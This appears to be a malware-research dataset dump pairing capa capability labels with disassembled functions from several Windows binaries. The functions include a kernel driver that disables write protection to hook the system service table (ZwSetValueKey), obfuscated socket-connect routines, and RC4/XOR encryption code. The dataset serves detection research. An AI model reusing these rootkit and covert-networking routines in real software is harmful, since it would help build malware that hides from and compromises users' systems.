joyce8/EMBER2024-capa huggingface dataset:
Function at 0x50c94c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x118]
push edi
lea edi, [eax + ebp]
cmp eax, 8
ja 0x50c96f
push 0xffffffffffffffe2
pop eax
jmp 0x50cb04
push ebx
mov ebx, dword [esp + 0x11c]
push esi
push 0x800
lea esi, [ebp + 8]
lea eax, [ebx + 0x5410]
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [ebx + 0x140c]
push esi
push eax
call fcn.0050ec43
add esp, 0x14
cmp eax, 0xffffff88
ja 0x50caff
add esi, eax
mov dword [esp + 0x18], 0x1c
mov eax, edi
sub eax, esi
push eax
push esi
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0050cb6e
add esp, 0x14
mov dword [esp + 0x10], eax
cmp eax, 0xffffff88
ja 0x50caff
cmp dword [esp + 0x14], 8
ja 0x50caff
push dword [esp + 0x14]
lea eax, [esp + 0x30]
push dword [esp + 0x1c]
push eax
lea eax, [ebx + 0x804]
push eax
call fcn.0050d029
add esp, 0x10
cmp eax, 0xffffff88
ja 0x50caff
add esi, dword [esp + 0x10]
mov eax, edi
sub eax, esi
mov dword [esp + 0x20], 0x34
push eax
push esi
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0xc0]
push eax
call fcn.0050cb6e
add esp, 0x14
mov dword [esp + 0x10], eax
cmp eax, 0xffffff88
ja 0x50caff
cmp dword [esp + 0x1c], 9
ja 0x50caff
push dword [esp + 0x1c]
lea eax, [esp + 0xb4]
push dword [esp + 0x24]
push eax
lea eax, [ebx + 0xc08]
push eax
call fcn.0050d029
add esp, 0x10
cmp eax, 0xffffff88
ja 0x50caff
add esi, dword [esp + 0x10]
mov eax, edi
sub eax, esi
mov dword [esp + 0x10], 0x23
push eax
push esi
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x78]
push eax
call fcn.0050cb6e
add esp, 0x14
mov dword [esp + 0x28], eax
cmp eax, 0xffffff88
ja 0x50caff
cmp dword [esp + 0x24], 9
ja 0x50caff
push dword [esp + 0x24]
lea eax, [esp + 0x6c]
push dword [esp + 0x14]
push eax
push ebx
call fcn.0050d029
add esp, 0x10
cmp eax, 0xffffff88
ja 0x50caff
add esi, dword [esp + 0x28]
lea eax, [esi + 0xc]
cmp eax, edi
ja 0x50caff
sub edi, esi
xor edx, edx
sub edi, 0xc
add ebx, 0x5c10
mov ecx, dword [esi]
add esi, 4
test ecx, ecx
je 0x50caff
cmp ecx, edi
jae 0x50caff
mov dword [ebx], ecx
inc edx
add ebx, 4
cmp edx, 3
jl 0x50cae1
sub esi, ebp
mov eax, esi
jmp 0x50cb02
push 0xffffffffffffffe2
pop eax
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x10c
ret
Function at 0x401270
Capabilities:
Complete processing asynchronous io request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
mov eax, dword [esi + 0x60]
push edi
mov edi, dword [eax + 0xc]
call section..text
test al, al
je 0x401297
cmp edi, 0x222400
jne 0x401297
mov ecx, dword [esi + 0xc]
call fcn.004016d0
xor eax, eax
xor dl, dl
mov ecx, esi
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
call dword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x401570
Capabilities:
Check os version
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4035f8
push 0x402232
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x58
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x64], 0x18
xor edi, edi
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x58], 0x40
mov eax, dword [ebp + 8]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x50], edi
lea ecx, [ebp - 0x64]
push ecx
push 0xf003f
lea edx, [ebp + 8]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
mov esi, eax
mov dword [ebp - 0x34], esi
call dword [sym.imp.ntoskrnl.exe_KeGetCurrentThread]
mov ebx, eax
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ntoskrnl.exe_PsGetVersion]
cmp dword [ebp - 0x24], 5
jne 0x4015fe
cmp dword [ebp - 0x28], 1
jne 0x4015fe
mov edi, 0x140
jmp 0x401625
lea ecx, [ebp - 0x4c]
push ecx
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.ntoskrnl.exe_PsGetVersion]
cmp dword [ebp - 0x2c], 6
jne 0x401625
cmp dword [ebp - 0x30], 1
jne 0x401625
mov edi, 0x13a
mov dword [ebp - 4], 0
mov byte [edi + ebx], 0
mov al, 1
mov byte [ebp - 0x1d], al
mov dword [ebp - 4], 0xffffffff
jmp 0x401656
test al, al
je 0x401689
mov eax, dword [0x404024]
test eax, eax
je 0x4016a7
mov edx, dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov ecx, dword [edx + 1]
mov eax, dword [eax + ecx*4]
mov edx, dword [ebp + 0x18]
push edx
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call eax
jmp 0x4016a5
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov esi, eax
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4017f0
Capabilities:
Get file attributes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
push ebx
push esi
push edi
xor ebx, ebx
push 0x1fe
lea ecx, [ebp - 0x246]
xor eax, eax
push ebx
push ecx
mov byte [0x40401c], bl
mov byte [section..data], 1
mov word [ebp - 0x248], ax
call sub.ntoskrnl.exe_memset
add esp, 0xc
lea edx, [ebp - 0x248]
push edx
call fcn.00402030
cmp eax, ebx
jl 0x4019c5
lea edi, [ebp - 0x248]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x401846
mov ecx, 0x16
mov esi, str.BaofengStormPlayerProfiles_vodcommon.xml
rep movsd dword es:[edi], dword [esi]
push 0x1fe
lea ecx, [ebp - 0x446]
xor eax, eax
push ebx
push ecx
movsw word es:[edi], word [esi]
mov word [ebp - 0x448], ax
call sub.ntoskrnl.exe_memset
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + str.___]
mov word [ebp + eax - 0x448], cx
add eax, 2
cmp cx, bx
jne 0x401880
lea eax, [ebp - 0x248]
mov edx, eax
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4018a0
lea edi, [ebp - 0x448]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x4018b6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x448]
push edx
lea eax, [ebp - 0x30]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0x20
push 1
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x30]
push eax
mov dword [ebp - 0x20], ecx
push 0x80000000
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x28], 0x18
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x1c], 0x40
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.ntoskrnl.exe_ZwOpenFile]
cmp eax, ebx
jl 0x4019c5
mov ecx, dword [ebp - 4]
push 5
push 0x18
lea edx, [ebp - 0x48]
push edx
lea eax, [ebp - 0x10]
push eax
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
mov edx, dword [ebp - 0x40]
push edx
push 1
mov dword [ebp - 8], eax
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov esi, eax
cmp esi, ebx
jne 0x40195a
mov eax, 0xc000009a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 4]
push ebx
push ebx
push eax
push esi
lea ecx, [ebp - 0x10]
push ecx
push ebx
push ebx
push ebx
push edx
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov edi, dword [sym.imp.ntoskrnl.exe_strstr]
push str._CupidMainSwitch_
push esi
call edi
add esp, 8
cmp eax, ebx
je 0x40199e
cmp byte [eax + 0x11], 0x31
sete cl
mov byte [0x40401c], cl
push str._CupidAllowIE_
push esi
call edi
add esp, 8
cmp eax, ebx
je 0x4019ba
cmp byte [eax + 0xe], 0x31
sete dl
mov byte [section..data], dl
push ebx
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401bb0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, eax
mov eax, 0x5a4d
cmp word [edx], ax
je 0x401bc8
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [edx + 0x3c]
movzx ecx, word [eax + edx + 0x14]
add eax, edx
push ebx
movzx ebx, word [eax + 6]
sub edi, edx
xor edx, edx
push esi
mov dword [ebp - 4], ebx
lea ecx, [ecx + eax + 0x18]
test ebx, ebx
je 0x401c0e
xor esi, esi
lea esp, [esp]
mov eax, dword [ecx + esi + 0xc]
add ecx, esi
cmp edi, eax
jbe 0x401c06
mov ebx, dword [ecx + 0x10]
add ebx, eax
cmp edi, ebx
jb 0x401c17
mov ebx, dword [ebp - 4]
inc edx
add esi, 0x28
cmp edx, ebx
jb 0x401bf0
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
pop esi
pop ebx
add eax, edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402030
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push edi
push str.RegistryMachineSOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
lea eax, [ebp - 0x1c]
push eax
call esi
push str.Common_AppData
lea ecx, [ebp - 0x14]
push ecx
call esi
lea eax, [ebp - 0x34]
push eax
push 0xf003f
lea ecx, [ebp - 8]
lea edx, [ebp - 0x1c]
push ecx
mov dword [ebp - 0x34], 0x18
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x28], 0x40
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
js 0x402174
mov ecx, dword [ebp - 8]
mov edi, dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
lea edx, [ebp - 0xc]
push edx
push 0
push 0
push 2
lea eax, [ebp - 0x14]
push eax
push ecx
call edi
test eax, eax
js 0x402174
mov edx, dword [ebp - 0xc]
push edx
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov esi, eax
test esi, esi
jne 0x4020d9
mov eax, 0xc000009a
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push ecx
push esi
push 2
lea edx, [ebp - 0x14]
push edx
push eax
call edi
mov edi, eax
test edi, edi
jns 0x402111
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 4], 1
jne 0x40215c
cmp dword [esi + 8], 0x100
ja 0x40215c
mov edx, dword [ebp + 8]
lea eax, [esi + 0xc]
sub edx, eax
jmp 0x402130
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x402130
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, 0xc0000004
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x406000
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_PsGetVersion]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x10]
push eax
call esi
cmp dword [esp + 4], 6
jne 0x406034
cmp dword [esp + 8], 1
je 0x406064
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
push ecx
call esi
cmp dword [esp + 8], 5
jne 0x406058
cmp dword [esp + 4], 1
je 0x406064
mov eax, 0xc0000002
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.004017f0
test eax, eax
js 0x4060da
cmp byte [0x40401c], 0
je 0x4060e1
call fcn.00401d60
cli
mov eax, cr0
mov dword [esp + 4], eax
and eax, 0xfffeffff
mov cr0, eax
mov edx, dword [esp + 4]
mov eax, dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov ecx, dword [eax + 1]
mov dword [esp + 8], edx
mov edx, dword [sym.imp.ntoskrnl.exe_KeServiceDescriptorTable]
mov eax, dword [edx]
mov dword [eax + ecx*4], 0x401180
mov eax, dword [esp + 8]
mov cr0, eax
sti
mov eax, dword [ebp + 8]
mov ecx, 0x405080
push eax
mov dword [eax + 0x34], 0x405020
mov dword [eax + 0x38], ecx
mov dword [eax + 0x40], ecx
mov dword [eax + 0x48], ecx
mov dword [eax + 0x44], ecx
mov dword [eax + 0x70], 0x405000
call fcn.004060f0
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0xc00000bb
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x4060f0
Capabilities:
Create device object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
mov edi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push str.DeviceBFDevice
lea eax, [ebp - 0x10]
push eax
call edi
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
push 1
push 0
push 0x22
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x20]
push ecx
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp + 8]
push 0x14
push edx
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
js 0x40618f
mov eax, dword [ebp - 8]
or dword [eax + 0x1c], 4
mov eax, dword [ebp - 8]
mov esi, dword [eax + 0x28]
mov dword [esi], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 4], eax
mov ecx, dword [ebp - 0xc]
push str.__BFDriver
lea edx, [ebp - 0x18]
push edx
mov dword [esi + 8], ecx
call edi
mov eax, dword [ebp - 0x18]
mov dword [esi + 0xc], eax
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
push eax
mov dword [esi + 0x10], ecx
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov esi, eax
test esi, esi
jns 0x40618d
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x403fb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [sym.imp.msvcrt.dll_putchar]
push 0
call edi
add esp, 4
mov word [ebp - 0x10], 2
push 0x1f9b
call dword [sym.imp.ws2_32.dll_htons]
push str.gc48x4kjgrhpba
mov word [ebp - 0xe], ax
call section..Tram
add esp, 4
mov dword [ebp - 0xc], eax
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
push 0
push 1
push 2
call dword [sym.imp.ws2_32.dll_socket]
push 0
mov esi, eax
call edi
add esp, 4
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40408e
push esi
call dword [sym.imp.ws2_32.dll_closesocket]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404280
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp + 0xc]
push 4
push eax
push 8
push 0xffff
push esi
call dword [sym.imp.ws2_32.dll_setsockopt]
test eax, eax
jne 0x404346
push ebx
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
push 0
lea ecx, [ebp + 0xc]
push 0
push ecx
push 0
push 0
lea edx, [ebp - 0xc]
push 0xc
push edx
push 0x98000004
push esi
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x2bf20
mov dword [ebp - 4], 0x2710
call dword [sym.imp.ws2_32.dll_WSAIoctl]
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404350
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov eax, 4
push esi
push edi
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
mov edi, 0x407394
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x40737c
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call 0x40136c
mov edx, eax
mov edi, 0x40737c
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x407394
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 4]
push ecx
push edx
push connect
call dword [sym.imp.advapi32.dll_RegOpenKeyA]
lea edx, [ebp - 8]
lea eax, [ebp - 0x10]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0xc]
push eax
push ecx
push 0
push 0x407374
push edx
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404800
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x407510]
push ebx
push esi
push edi
test eax, eax
jne case.default.0x40482e
mov esi, dword [esp + 0x10]
mov dword [0x407510], 1
mov eax, dword [esi + 0x19c]
dec eax
cmp eax, 3
ja case.default.0x40482e
jmp dword [eax*4 + 0x4049c8]
mov eax, dword [esi + 0x1a0]
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x403eb0
test eax, eax
push 0
push 0
jne 0x404884
call ebx
mov eax, dword [esi + 0x198]
xor edi, edi
test eax, eax
jle case.default.0x40482e
push 0
push 0
push esi
push 0x4026b0
push 0
push 0
call ebx
mov eax, dword [esi + 0x198]
inc edi
cmp edi, eax
jl 0x404865
pop edi
pop esi
pop ebx
ret
call ebx
mov eax, dword [esi + 0x198]
xor edi, edi
test eax, eax
jle case.default.0x40482e
push 0
push 0
push esi
push section.PAGE
push 0
push 0
call ebx
mov eax, dword [esi + 0x198]
inc edi
cmp edi, eax
jl 0x404896
pop edi
pop esi
pop ebx
ret
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x403eb0
push 0
push 0
call ebx
mov eax, dword [esi + 0x198]
xor edi, edi
test eax, eax
jle case.default.0x40482e
push 0
push 0
push esi
push 0x403ac0
push 0
push 0
call ebx
mov eax, dword [esi + 0x198]
inc edi
cmp edi, eax
jl 0x4048db
pop edi
pop esi
pop ebx
ret
mov edi, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x403eb0
push 0
push 0
call edi
mov eax, dword [esi + 0x1a0]
push 0
push 0
push esi
push 0x403eb0
push 0
test eax, eax
push 0
jne 0x404959
call edi
mov eax, dword [esi + 0x198]
xor ebx, ebx
test eax, eax
jle case.default.0x40482e
push 0
push 0
push esi
push 0x403380
push 0
push 0
call edi
mov eax, dword [esi + 0x198]
inc ebx
cmp ebx, eax
jl 0x40493a
pop edi
pop esi
pop ebx
ret
call edi
mov eax, dword [esi + 0x198]
xor ebx, ebx
test eax, eax
jle case.default.0x40482e
push 0
push 0
push esi
push 0x402d80
push 0
push 0
call edi
mov eax, dword [esi + 0x198]
inc ebx
cmp ebx, eax
jl 0x404967
pop edi
pop esi
pop ebx
ret
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x403eb0
push 0
push 0
call ebx
mov eax, dword [esi + 0x198]
xor edi, edi
test eax, eax
jle case.default.0x40482e
push 0
push 0
push esi
push 0x403c80
push 0
push 0
call ebx
mov eax, dword [esi + 0x198]
inc edi
cmp edi, eax
jl 0x4049a8
pop edi
pop esi
pop ebx
ret

Function at 0x21366ad
Capabilities:
Encrypt data using rc4 prga

Disassembly:
dec esi
push dword [0x2138825]
pop dword [esp + 0x20]
dec di
xchg di, bp
mov dword [esp + 0x1c], 0
jmp 0x21371c9
mov esi, dword [esp + 0x4c]
pushfd
pushal
lea edi, [0x61c326ca]
dec esi
ror bp, 2
neg esi
shld di, bp, 0xe
bts bp, ax
bswap esi
rol di, cl
or di, cx
movzx bp, dl
bsf bp, sp
lea ebp, [esp + 0x40]
rol dx, 0xd
xor di, 0xecba
sub esp, 0x80
xadd di, dx
sar di, cl
mov edi, esp
shl bh, 3
add bx, 0xa1a8
mov ebx, esi
adc al, 0
add al, al
add esi, dword [ebp]
Function at 0x45e8f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x63bed0]
xor edx, edx
cmp eax, edx
jne 0x45e916
xor eax, eax
mov byte [eax + 0x63bdd0], al
inc eax
cmp eax, 0x100
jl 0x45e8fe
mov dword [0x63bed0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x63bdd0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x45e9a7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x45e97a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x45e948
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x45ea20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x45ea73
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x45ea5a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret